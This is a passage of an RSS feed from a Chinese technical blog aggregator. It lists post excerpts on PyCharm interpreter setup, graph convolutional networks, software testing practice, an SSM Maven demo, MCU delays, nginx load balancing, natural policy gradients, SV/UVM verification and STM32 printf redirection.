      <link>https://bchobby.github.io/posts/91082dd31c6f0c1b5a2ef86260905388/</link>
      <pubDate>Mon, 24 Oct 2022 21:53:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91082dd31c6f0c1b5a2ef86260905388/</guid>
      <description>pycharm用不了anaconda的库 电脑安装了anaconda之后，运行含有一些库的代码没有出现错误，但是用pycharm运行之后出现了错误，报错为no module named numpy&#xA;解决方法如下：&#xA;1：打开pycharm软件&#xA;2：选择菜单栏中的file(文件)中的settings（设置）找到project后，选中project interpreter，点击右边的设置选择add interpreter&#xA;！！！！一定要先点system interpreter在去点击4：添加，我就是没点3，导致弄了好久，弄奔溃！&#xA;等待一定时间后会看到可以用的包，点击OK后开始加载包，加载成功后就可以用啦~&#xA;撒花！！！！！</description>
    </item>
    <item>
      <title>GCN-图卷积神经网络算法讲解（通俗版）</title>
      <link>https://bchobby.github.io/posts/f1e50184c5ad3d4b017b43a6bf49c8df/</link>
      <pubDate>Mon, 24 Oct 2022 21:49:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1e50184c5ad3d4b017b43a6bf49c8df/</guid>
      <description>由于博主学疏才浅，经过一段时间学习，只能做到基础层面的理解，本文就较为通俗地讲解一下图卷积神经网络算法，下篇文章会讲解代码实现部分！&#xA;文章目录 GCN-图卷积神经网络算法介绍和算法原理&#xA;1. GCN从何而来&#xA;2. GCN是做什么的&#xA;3. GCN算法的原理&#xA;3.1 GCN的结构&#xA;3.2 GCN的传播公式&#xA;总结&#xA;GCN-图卷积神经网络算法介绍和算法原理 1. GCN从何而来 GCN的概念首次提出于2017年的国际学习表征会议（ICLR），成文于2016年：&#xA;神经网络在各种传统任务上都体现出了惊人的效果，如：CNN卷积神经网络系列在图像领域（例如图像识别）的结果、RNN循环神经网络系列在序列数据（语言处理）上表现出的效果。&#xA;传统卷积神经网络中的卷积操作只能处理规则的数据结构，例如图片或者语言，都属于欧式空间的数据，因此才有维度的概念，欧式空间的数据的特点就是结构很规则。但是现实生活中，其实有很多很多不规则的数据结构，典型的就是图结构，或称拓扑结构，如社交网络、化学分子结构、知识图谱等等；即使是语言，实际上其内部也是复杂的树形结构，也是一种图结构。&#xA;图的结构一般来说是十分不规则的，可以认为是无限维的一种数据，所以它没有平移不变性。每一个节点的周围结构可能都是独一无二的，这种结构的数据，就让传统的CNN、RNN瞬间失效。而图数据却很少有相应的模型供我们直接使用，所以GCN应运而生。 2. GCN是做什么的 GCN图卷积神经网络，实际上跟卷积神经网络CNN的作用一样，就是一个特征提取器，只不过它的对象是图数据。GCN精妙地设计了一种从图数据中提取特征的方法，从而让我们可以使用这些特征去对图数据进行节点分类（node classification）、图分类（graph classification）、边预测（link prediction），还可以顺便得到图的嵌入表示（graph embedding），可见用途广泛。&#xA;这里的图数据指的不是图片，而是这种具有图结构的数据：&#xA;就像&#34;卷积&#34;这个名字所指代的那样，这个想法来自于图像，之后引进到图（Graphs）中。于有固定的结构的图像相比时，图（Graphs）就复杂得多。 3. GCN算法的原理 假设有一批图数据，其中有N个节点（node），每个节点都有自己的特征，假设特征一共有D个，我们设这些节点的特征组成一个N×D维的矩阵X，然后各个节点之间的关系也会形成一个N×N维的矩阵A，也称为邻接矩阵（adjacency matrix）。X和A便是我们模型的输入。&#xA;GCN算法的步骤简单可总结为：&#xA;第一步聚类&#xA;第二步更新&#xA;第三步循环&#xA;对于每个节点，我们在聚类时从它的所有邻居节点处获取其特征信息，当然也包括它自身的特征。&#xA;举个例子&#xA;我们想通过聚类，估计出一个人的工资水平&#xA;因为有一句很有名的鸡汤 『你朋友圈的平均工资就是你的工资』&#xA;先假设：一个人所有朋友的工资平均值等于那个人的工资，利用社交网络（graph图）中的关联信息（edge边），我们可以得到节点的有效信息&#xA;当前节点可以用相邻节点推断出来。我们先考虑用相邻节点的加和来代表当前节点：&#xA;如果图中的边没有权重，Xj是每个节点的特征值， Aij也就是节点间的关系只能为0或1。当一个节点不是i的邻居节点时，Aij就是0。&#xA;那么我们将Aij写成描述节点间关系的邻接矩阵A，就能得到：&#xA;但是没有权重显然不合适，因为假如我和马云见过一面，相互仅是认识，但是马化腾和马云是铁哥们，那么将我与马云间联系的权重和马化腾与马云间联系的权重都设为1就是不合理的，所以在处理问题时，Aij一定可以为0到1的任意值，这样才可以科学的计算我的工资水平。&#xA;并且只考虑朋友的工资水平也是不科学的，比如有的人会拍领导马屁，那么他的工资就会比没有拍马屁技能的同事高。&#xA;所以要想准确评估他的工资，还要加上他自身的一些特征Xi。在矩阵里就是加上自连接矩阵I：&#xA;截止目前，我们已经结合节点特征，将朋友们的工资科学地进行了求和，那么接下来就需要取平均值了&#xA;因为可能某些技术高薪大佬，朋友不多但是个个有钱，而某些人善于交际，狐朋狗友就很多，虽然狐朋狗友的工资低，但是也架不住多&#xA;所以需要求平均，求平均的公式：&#xA;分母是节点个数，分子就是节点特征，然后进行求和。&#xA;到目前为止，我们就通过求平均，得到了一个人的工资水平，当然简单的求平均肯定是不完善的；&#xA;假如我的朋友只有一个大佬，那么我和大佬的关系网络如果用平均算法的话就等同了，所以直接把B的特征赋给A肯定是不合适的&#xA;而GCN中的传播公式就可以解决这个问题：&#xA;3.1 GCN的结构 GCN是一个多层的图卷积神经网络，每一个卷积层仅处理一阶邻域信息，通过叠加若干卷积层可以实现多阶邻域的信息传递。&#xA;从输入层开始，前向传播经过图卷积层运算，然后经过softmax激活函数的运算得到预测分类概率分布。&#xA;softmax的作用是将卷积网络的输出的结果进行概率化，我直接将Softmax理解为依据公式运算出样本点的类别。&#xA;假设我们构造一个两层的GCN，激活函数分别采用ReLU和Softmax，则整体的正向传播的公式为：&#xA;该模型实际是输入层+隐藏层（图卷积层，类似全连接层的作用）+SoftMax+输出层构成的，GCN模型可视化为：&#xA;GCN输入一个图，通过若干层GCN每个node的特征从X变成了Z，但是，无论中间有多少层，node之间的连接关系，即邻接矩阵A，都是共享的。 3.2 GCN的传播公式 GCN就是一个神经网络层，每一层GCN的输入都是邻接矩阵A和node的特征H，它的层与层之间的传播方式是：</description>
    </item>
    <item>
      <title>软件测试十几个可以练手的项目实战，力推</title>
      <link>https://bchobby.github.io/posts/62e79425f1a9a7a1f33deb9c89bb7cf9/</link>
      <pubDate>Mon, 24 Oct 2022 19:08:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62e79425f1a9a7a1f33deb9c89bb7cf9/</guid>
      <description>近来工作挺忙， 因此也都没什么时间总结了。当然，忙的这段时间我也发现了自己工作中的诸多问题，今天偷闲上来总结一下。&#xA;在这之前，我对测试工作的观点是，熟悉业务加上熟练的技术能力就能很好的完成大部分测试工作，通过这次项目的追赶，我突然感觉到这之中有太多的不合理性，毕竟测试有很多不确定性，而且每个人的测试思路不一样，很容易忽略和遗漏很多测试点，这样下来测试的覆盖度降低了很多，到最后产品上线的时候肯定有很多问题，所以还是不能靠感觉和思路来做事，因为到最后没人代理你承担责任。所以这里关于测试设计，我也想谈谈自己的一些观点，以帮助和指导我之后的工作方向。&#xA;通常情况下，项目开始的时候，需求人员会将一堆所谓需求文档分散到开发和测试人员手中，此时也就是说让测试前期介入到项目进展中。当然这个时候，我们会有很多很多的问题需要跟需求确认，因为一堆零散的需求文档就足以说明他们是如何草率，但每到项产品交付的时候，这个时候就是开发和测试人员最痛恨需求人员的时候，因为他们前期的需求不明确，让我们白白辛苦并浪费了这么多时间。但对于测试来说，在这个过程中其实就起到了承上启下的作用，因为只有测试人员才会不厌其烦的去与需求人员周旋，而开发这个时候自认为只要加工完就ok了，而测试不能向任何人说ok，不然我们的工作就变得毫无意义了。所以说，测试工作就是一项去深入理解需求，正确引导开发向着最正确的轨道行驶，可见伟大，嘿嘿！&#xA;首先，从需求文档中，我们从中抽象出基本功能，得到一个测试人员能够理解的文档，这样我们就知道我们大致要测试那些功能点了；&#xA;其次，再从需求文档中提取出业务流程，并与需求人员深入沟通，画出业务流程图；&#xA;第三，通过以上两点成果，输出一份初步的测试计划，包括测试目标、范围，以及测试内容、测试流程、测试方法和测试工具，最主要全面列举测试覆盖范围，比如对于客户端软件最后要进行系统平台测试，包括windows 7/Vista（32/64bit）等；安装卸载测试、杀毒软件的覆盖测试等等；如web页面要执行浏览器兼容性测试等；&#xA;最后，就要注重测试思路的总体连贯性，“先正常，后异常”，保证正常情况下的功能能走通，异常情况下近可能的去覆盖。&#xA;可能这里要说还应该完成测试case的设计，以及评审，至最后的完善归档，不过并不是所有的项目都会有大量的时间留给测试人员，这也就是产品测试和项目测试的区别所在。如果时间充足的情况下，设计详细的case，以及评审，那当然是最完整的流程了。这里主要谈到的测试对象是项目测试，通常都是时间非常紧急，留给测试的时间很短，无暇顾及完成软件测试流程，那么就需要找到更合适自己以及项目的方法和流程来完成。&#xA;最近，不少读者托我找一个能实际练手的测试项目。开始，我觉得这是很简单的一件事，但当我付诸行动时，却发现，要找到一个对新手友好的练手项目，着实困难。&#xA;下面这几十个项目可能会帮助到你。&#xA;电商平台 “ShopNc商城”商城系统是基于 web 浏览器的电子商务系统，通过互联网实现商品的线上电子化销售及业务流程处理。该系统主要以系统会员及普通游客为服务目标，提供快捷方便的商品展示和线上购物。项目由前后台共同构成，前台主要提供与用户的交互入口，展示形式是 web 网页界面；后台提供管理员、客服等对应的服务管理接口服务于前端。&#xA;项目模块: 登录、搜索、广告、购物车、我的优惠卷、抢购、会员管理、商品管理、订单管理、促销管理等&#xA;1.商场主页&#xA;2.登录页面 3.商城后台&#xA;4.系统向导&#xA;4.安装页面&#xA;其他的我就不一一介绍了。&#xA;通过此次实战训练，我希望你能学会：&#xA;写测试用例（xmind工具）&#xA;执行测试用例&#xA;bug管理（禅道）&#xA;除此之外，我还无偿提供一份我使用很久的、个人总结的、完整的web测试用例，为你以后的工作提供指引和参考。&#xA;如果这篇文章对你有帮助，请给小编点个赞！👍这样我才有动力继续更新下去！&#xA;今天的小知识学会了么&#xA;欢迎在留言区跟我们互动噢~&#xA;觉得有所帮助的话点个赞呗&#xA;最后是小编自己整理的一些学习资料、测试工具、项目相关资料点击下方小卡片</description>
    </item>
    <item>
      <title>使用ssm框架实现用户注册与查询的简单demo</title>
      <link>https://bchobby.github.io/posts/634471daa6343b9cfbdc982902e64e45/</link>
      <pubDate>Mon, 24 Oct 2022 17:46:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/634471daa6343b9cfbdc982902e64e45/</guid>
      <description>这里我们分一下步邹进行构建 目录结构如下所示&#xA;首先创建项目，并加入pom.xml依赖&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;org.example&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;demo-regiser-student&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;packaging&amp;gt;war&amp;lt;/packaging&amp;gt; &amp;lt;name&amp;gt;demo-regiser-student Maven Webapp&amp;lt;/name&amp;gt; &amp;lt;!-- FIXME change it to the project&#39;s website --&amp;gt; &amp;lt;url&amp;gt;http://www.example.com&amp;lt;/url&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;maven.compiler.source&amp;gt;1.7&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;1.7&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.11&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--servlet--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;javax.servlet&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;javax.servlet-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- jsp 依赖 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;javax.servlet.jsp&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jsp-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.1-b03&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--springmvc--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-webmvc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.2.5.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--事务的--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-tx&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.2.5.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>MCU不用定时器实现非阻塞延时</title>
      <link>https://bchobby.github.io/posts/1582b8c29bff176caf3fb4be0df21e5a/</link>
      <pubDate>Mon, 24 Oct 2022 17:45:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1582b8c29bff176caf3fb4be0df21e5a/</guid>
      <description>简介 我们在日常MCU开发中经常会遇到需要按照一定时间间隔轮询的任务比如：Work灯、心跳包等等，所对应最常见的实现方法就是通过（软/硬）定时器来实现。接下来就给大家推荐一种不使用定时器来实现非阻塞延时轮询任务的一种方法，话不多说直接上代码。&#xA;就拿一个在RTOS中Work灯的实现方法来举例子，我们在空闲线程中使用钩子函数一行代码实现让Work灯每隔一秒闪烁一次。&#xA;/* 全局变量 */ rt_tick_t timeout = 0; /* 函数声明 */ static void work_led_init(void); static void work_led_hook(void); /* 主函数 */ int main(void) { work_led_init(); rt_kprintf(&#34;=== [work_led] init success! ===\n&#34;); /* 设置空闲线程回调函数 */ if (rt_thread_idle_sethook(work_led_hook) != RT_EOK) { rt_kprintf(&#34;=== [set work_led_hook] failed! ===\n&#34;); }else { rt_kprintf(&#34;=== [set work_led_hook] success! ===\n&#34;); } while(1) { rt_thread_delay(5000); } } /********************************************************************** * @brief work灯初始化函数 * @author Dev_XH * @date 2022-10-19 **********************************************************************/ static void work_led_init(void) { GPIO_InitTypeDef GPIO_InitStructure = {0}; RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOE, ENABLE); GPIO_InitStructure.</description>
    </item>
    <item>
      <title>nginx负载均衡核心模块(upstream和proxy模块)及常用参数介绍</title>
      <link>https://bchobby.github.io/posts/83322897530e71799f839d8a48b4fae2/</link>
      <pubDate>Mon, 24 Oct 2022 17:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83322897530e71799f839d8a48b4fae2/</guid>
      <description>前言 环境：centos nginx 1.18.0&#xA;以下所说的反向代理服务器和负载均衡服务器其实是一个意思，因为nginx做反向代理的时候本质上做到了负载均衡的效果。&#xA;upstream模块 nginx的负载均衡功能依赖于http_upstream_module模块，所支持的代理方式包括proxy_pass、fastcgi_pass、memcached_pass等。&#xA;http_upstream_module模块允许nginx定义一组或多组节点服务器组，使用时可以通过proxy_pass代理方式把网站请求发送到事先定义好的对应upstream组名上，具体的写法为：proxy_pass http://www.server_pools，其中www.server_pools就是一个upstream节点服务器组名。&#xA;upstream模块语法：&#xA;upstream 组名{ server IP:port 参1,参2，....; server IP:port 参1,参2，....; } 说明：upstream模块放在http里面，语法结构中upstream是关键字，接着定义一个组名，server也是关键字，后面是IP或者域名，再是参数。&#xA;upstream范例如下：&#xA;upstream www.server_pools{&#x9;#www.server_pools是集群组名 server 10.0.0.1:80 weight=15;&#x9;#可以写IP或域名，指定端口，如果不指定端口就认80端口 server 10.0.0.2:80 weight=15;&#x9;#weight表示权重，后面会讲 } upstream www.server_pools{&#x9;#www.server_pools是集群组名 server www.fujiseiko.com:80;&#x9;#域名，DNS或负载均衡服务器必须做解析 server 10.0.0.2:80 backup;&#x9;#backup表示备用服务器,除非其它都挂了，否则不会请求不会到这台服务器 server 10.0.0.3:80 max_fails=3,fail_timeout=15s;&#x9;#表示在15秒内尝试重连3次，3次都失败就认为服务器不可用，请求就不会转发到这台服务器 } 下面讲一下server标签的一些常用参数：&#xA;weight&#x9;表示权重，其书写规则为weight=1，默认就等于1，权重数值越大表示接受的请求比例就越大； max_fails 表示nginx在fail_timeout 参数设置的持续时间内尝试连接后端主机失败次数，则认为服务器在fail_timeout参数设置的持续时间内不可用 。其书写规则为max_fails=2；默认max_fails=1，零值将禁用对尝试的记帐。认为失败的尝试由 proxy_next_upstream， fastcgi_next_upstream， uwsgi_next_upstream， scgi_next_upstream， memcached_next_upstream和 grpc_next_upstream 指令定义。 fail_timeout&#x9;表示在指定次数的不成功尝试与服务器通信的时间范围内，应考虑服务器不可用，其书写规则为fail_timeout=15s，默认该参数为fail_timeout=10s； down&#x9;表示将服务器标记为永久不可用； backup&#x9;表示当前服务器节点是备用机，只有在其他的服务器都宕机以后，请求才会被转发到这个备用服务器上； upstream模块的调度算法 我们知道，定义一个upstream模块的时候，定义了很多server主机，那么LB服务器是如何决定将请求调度给哪一个后端主机的呢？这就涉及到调度算法的问题。</description>
    </item>
    <item>
      <title>强化学习自然策略梯度Natural Policy Gradient推导</title>
      <link>https://bchobby.github.io/posts/168c739713d0b45cf79a18a09a14d9ad/</link>
      <pubDate>Mon, 24 Oct 2022 15:44:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/168c739713d0b45cf79a18a09a14d9ad/</guid>
      <description>强化学习自然策略梯度Natural Policy Gradient推导 前言预先准备的知识似然函数与对数似然函数Score functionFisher Information Matrix (FIM)KL散度 (KL divergence)Natural Gradient Natural Policy Gradient 前言 最近在学习TRPO，发现里面好多好多完全陌生的概念。为了能够尽量多地去理解TRPO算法的原理，所以正在一步一步地学习里面的新概念，其中一个就是自然策略梯度：Natural Policy Gradient (NPG)。在这里整理出来，一方面防止自己忘记，另一方面哪里接错了，还请各位大佬指正一下^_^。&#xA;预先准备的知识 似然函数与对数似然函数 有一个随机变量 X X X，它的理想概率分布为： x ∼ p ( x ; θ ) x \sim p(x;\theta) x∼p(x;θ)。 X X X是啥样的不知道， p p p是啥样的也不知道。现对 X X X进行 n n n次采样，得到 n n n组独立同分布的样本 { x 1 , x 2 , ⋯ , x n } \left\{x_1, x_2, \cdots, x_n\right\} {x1​,x2​,⋯,xn​}。那么定义其似然函数为：</description>
    </item>
    <item>
      <title>验证平台，SV 和UVM</title>
      <link>https://bchobby.github.io/posts/c26d1c59799852af325b8e98dba2f112/</link>
      <pubDate>Mon, 24 Oct 2022 15:28:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c26d1c59799852af325b8e98dba2f112/</guid>
      <description>验证是确保设计和预定的设计期望一致的过程。&#xA;验证平台：被用来应用一个或多个测试激励，并将激励发送到设计的输入中，激励可通过验证平台产生，或者通过手动创建。最后，输出进行比较，看结果是否正确。结果检查可通过验证平台、脚本或者手工来实现。&#xA;验证平台的主要功能：产生激励、把激励应用到被测设计DUT中，检查结果和验证测试是否通过，也就是确保被测设计的输出和期望一致。&#xA;验证的难点：如何产生全部的激励，如何检查结果的正确性。&#xA;功能验证流程：制定验证策略（定义测试用例，验证平台抽象层次，激励产生方案，结果检查方案）和验证计划（搭建验证平台，创建测试用例、运行和调试）、 覆盖率分析和回归测试。&#xA;验证流程：1、仔细阅读设计文档，并理解分析。2、指定验证计划，包括验证功能点的提取，规划tests，TB的架构，用什么方法学，功能覆盖率的提取以及检查机制。3、搭建验证环境，码代码，测试用例编写以及调试debug。4、回归测试。5、覆盖率包括代码代码覆盖率和功能覆盖率，增加一些tests。6、撰写验证报告，主要是覆盖率的分析。&#xA;验证手段：黑盒验证：只通过其边界信号来验证一个模块或者设计的功能。通过这种方法，激励可以被应用到设计和参考模型中，在某个抽象层次，通过被测设计和参考模型的输出被校对，黑盒验证存在下列主要的缺点：很难验证和设计相关的特点、很难调试、要求一个精确的参考模型。白盒验证：可以不需要参考模型，通过在设计内部或外部输出信号放置监控器和断言来保证设计操作的正确性。灰盒验证：综合了白盒和黑盒的一个阶段，也就是在设计内部添加监控器和断言来减少对参考模型的精确要求，在错误发现的时候也减少调试的压力。&#xA;验证可能出现的错误：从来没有被激发过的错误，被激发的错误没有被传递出来，多个潜在的错误掩盖了其他错误。&#xA;代码覆盖率：行覆盖率、状态机覆盖、翻转覆盖、判定覆盖、条件覆盖、路径覆盖。&#xA;功能覆盖率：代表设计要求的功能中有多少被验证了。功能覆盖率包括3个概念：覆盖点、交叉覆盖率、传输覆盖率。覆盖点是单个标量值或者表达式的抽样。目的是确保所有感兴趣的和相关的值都可以在已抽样的值或表达式中被观测到。交叉覆盖率是度量同一点多个标量值的结合，可以设计两种或者多种覆盖点的结合，只能用于同一类的覆盖组。传输覆盖率是度量一系列值的存在和发生，可以包括统一覆盖点上超过两个的连续不断的值。&#xA;功能覆盖率高、代码覆盖率低：验证计划不充分，需要增加佛南功能覆盖点。&#xA;代码覆盖率高，功能覆盖率低：设计没有实现指定的功能。&#xA;覆盖率驱动验证：最重要的特点是基于随机激励产生。随机激励生成是提高效率的最主要的原动力，覆盖率验证驱动是将事务级验证、约束随机激励产生、自动化结果比较、覆盖率统计分析和直接测试。事务级验证允许在一个更高的抽象层次来创建验证场景。约束随机激励产生可以获取更高的效率，为生成验证场景和自动化结果比较提供了充分的保证，设计能够在各种随机的情况下被验证。覆盖率统计是必须的，若没有覆盖率统计，就没有办法清晰的分析哪个场景被随机生成过。直接测试也是必须的，因为最终不可能全部的场景都能够随机生成。覆盖率驱动验证方法学要求指定一个可以数量化衡量完备性，可追踪、有组织的验证计划，这对于验证计划的严格要求可以暴露出可能被遗漏的相关场景。&#xA;验证存在的挑战，一个有效的验证方案必须解决验证完备性、验证可重用性、验证可靠性、验证效率、验证的性能。验证完备性是如何最大限度地验证被测设计的行为，难点在于如何获取所有必须被验证的场景，可采用覆盖率驱动的验证方法学。覆盖率驱动验证方法学要求指定一个可以数量化衡量完备性，可追踪、有组织的验证计划，这对于验证计划的严格要求可以暴露出可能被遗漏的相关场景。验证可重用性是优化验证环境的架构，使之可以在不同的场合重用。重用可以通过模块化验证组件、采用标准接口、将激励产生机制和验证架构分离等方式实现。一个项目中，深层次的重用是如何实现一个验证平台可以供多个测试用例使用。验证可靠性在于如何减少在完成一个验证项目中的手工操作，手工操作可能存在错误、冗长和耗时很大的问题。有一个很好的方法是约束随机验证，是通过搭建一个自动化的系统来产生激励和自动比较，进而提高验证的可靠性。验证的效率可以通过提高验证平台的抽象层次和采用重用。验证性能是在运行回归测试时候，迭代周期主要为验证平台运作的有效性来决定，验证程序的性能成为这个阶段的主要因素。&#xA;数字ic设计流程：确定项目需求，指定芯片的具体指标，系统级设计，用系统建模语言对各个模块描述。前端设计，RTL设计，仿真，硬件原型验证，电路综合，后端设计，版图设计，物理验证，后仿真。&#xA;数字ic设计具体指标：物理指标（制作工艺）、性能指标（速度、功耗）、功能指标（功能描述、接口定义）&#xA;集成电路产业链：集成电路设计、晶圆、封装测试、组装、成品整机。&#xA;soc芯片最重要的是cpu&#xA;总线连接，总线直接桥接，AHB-bridge-APB总线协议。&#xA;system controller产生系统的时钟和复位信号。&#xA;soc芯片主要无线通信和数据存储功能，主要应用场景是数码相机的存储片。&#xA;无线通信功能是通过apb总线上的spi接口外挂wifi芯片。&#xA;sv基本语法：2值逻辑（0，1）和4值逻辑（0，1，x，z，reg类型，verilog中用），有符号数（整型）与无符号数（bit），合并数据（内存空间更紧凑）与非合并数据（每个元素占用32bit内存空间），动态数据（数组大小不确定）和队列，关联数据（不需要连续空间，可以整数、字符串等），数组的方法。&#xA;多线程：join（三个子线程都执行完后，才可以执行主线程），fork_join_any(任何一个子线程执行完后，便可以执行主线程)，fork_join_none(子线程不会阻塞主线程、先执行主线程，三个子线程才会并行执行。)&#xA;function是没有时间的，task是有时间的。void function是没有返回值。&#xA;static：module和program子程序默认是静态存储。&#xA;automatic：自动存储模式，函数和任务的重入成为可能。&#xA;random()产生有符号的随机数，urandom()产生无符号的随机数，randomc产生平均分布的平均数。&#xA;sv预定义随机化方法：randomize，pre_randomize, post_randomize.调用randomize之前调用pre，之后调动post&#xA;用super.task_name()调用一个定义在父类的task&#xA;this是指向当前class&#xA;local和protected都是保护变量，外部不可以访问，子类不能访问父类的local变量。子类可以访问父类的protected变量。&#xA;把代码打包，使用package，解决类命名冲突等问题&#xA;dut是module，TB是program，不同代码运行在不同区域，program与module运行的时间域是不同的，这样会避免竞争和冒险。&#xA;virtual interface ： virtual interface的本质是指向interface的指针，因此其并不是一个真实存在的实体，而interface是一个真实存在的实体。&#xA;静态cast是数据类型的转化。动态cast类的向下转换（当父类句柄指向的对象是真正的子类对象，可使用），或者是枚举的转换。&#xA;类的三大属性：封装性、继承性、多态性。&#xA;多态：虚方法与重写的实现。当一个类派生出子类的时候，基类中的一些方法（定义为virtual）可能需要被重写（在派生类），对象中的类型来决定调用方法的实现方式，通常这是一个动态的过程，动态的选择方法的实现方式叫多态。如果想要重写某个方法，在父类中声明中为虚方法，后续继承过程中永远是一个虚方法，不再注意是否virtual。&#xA;封装性：通过访问控制来实现的。高内聚、低耦合，类的内部数据操作细节自己完成，不允许外部干涉，仅暴露少量的方法给外部使用。通常是禁止直接访问一个对象中数据的实际表示，应该通过操作接口来访问，称为信息隐藏。封装可以提高程序安全性，保护数据，隐藏代码实现细节，统一接口，更加具有规范性，增加系统可维护性。&#xA;继承：对某一批类的抽象，从而实现对显示世界更好的建模。&#xA;UVM：分层的验证环境，组件(test、env、agent、sequencer、driver、monitor、scoreboard)、每个类的激励，如何通信，如何连接（port）、如何启动、如何结束、如何打印信息、数据（uvm_sequence_item）。&#xA;uvm平台的开启和结束：启动：在run-test函数里面调用用例名字，仿真用UVM_TESTNAME, 结束：正常结束（drops objection+check）异常结束（错误而挂起 / timeouts）&#xA;UVM 的PHASE：build phase总体目的是构建、配置和连接测试台组件层次结构，所有的build phases方法都是functions，在0仿真时间执行完成。一旦构建了UVM testbench根节点组件，build phase 就开始执行。是从上到下地构建testbench组件层次结构。connect phases用于在组件之间建立TLM连接，或者向testbench资源池分配对象句柄。connect phase 在build phases方法之后自底向上地执行。run phase（reset、configure、main、shutdown 共12个）发生在start_of_simulation阶段之后，用于激励的产生和testbench的监测和检查。run phase 作为一个task实现，所有uvm_component 的run phase 都并行执行。</description>
    </item>
    <item>
      <title>stm32中printf重定向</title>
      <link>https://bchobby.github.io/posts/e126297f4205131f9f0fe8dbd1cd6b38/</link>
      <pubDate>Mon, 24 Oct 2022 15:24:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e126297f4205131f9f0fe8dbd1cd6b38/</guid>
      <description>先上代码 //加入以下代码,支持printf函数,而不需要选择use MicroLIB #if 1 #pragma import(__use_no_semihosting) //标准库需要的支持函数 struct __FILE { int handle; }; FILE __stdout; //定义_sys_exit()以避免使用半主机模式 _sys_exit(int x) { x = x; } //重定义fp utc函数 int fputc(int ch, FILE *f) { while((USART1-&amp;gt;SR&amp;amp;0X40)==0);//循环发送,直到发送完毕 USART1-&amp;gt;DR = (u8) ch; return ch; } #endif //加入以下代码,支持printf函数,而不需要选择use MicroLIB 为什么要用标准库我也不清楚，下文是他们的解释:&#xA;实际上，我们大部分工程用到的标准C库函数很少，而且keil中的microLIB默认已将printf重定向到UART1，我们可以直接使用printf通过串口1输出数据，所以勾选使用microLIB是一种非常好的方法，如果不勾选microLIB，则keil变压器会自动链接标准库函数。 一旦没勾选可不就是要自己重定义么&#xA;#if 1 #endif #if 1, 看起来是很鸡肋的东西，之所以要这样搞，假设#if 0，就可以不执行里面的代码，编译的时候会被优化掉，正常情况下那个数字应该变成一个宏定义，估计写这个的人一开始只是随意写的。&#xA;问题来了，为什么要一会执行，一会不执行，这得从长说起。&#xA;重新定义printf，是用来串口调试的，（调试有很多种方法，有硬件调试，软件调试，串口调试）在写代码逻辑的过程中，很可能会很混乱，出现一些bug，printf可以查看代码，相较于debug选项，他们各有各自的优缺点，&#xA;#pragma import(__use_no_semihosting) 在keil中编程时常会遇到use_no_semihosting_swi的警告，这时你就是进入了半主机模式。**在嵌入式的编程中你是避免不了使用printf、fopen、fclose等函数的但是因为嵌入式的程序中并没有对这些函数的底层实现，使得设备运行时会进入软件中断BAEB处，这时就需要use_no_semihosting_swi这 个声明，使程序遇到这些文件操作函数时不停在此中断处，具体操作如下，将下列程序加入你的工程中：**&#xA;pragma import(__use_no_semihosting_swi) 这条语句可以关闭半主机模式，只需要在任意一个C文件中加入即可。&#xA;什么是半主机模式？&#xA;半主机是用于 ARM 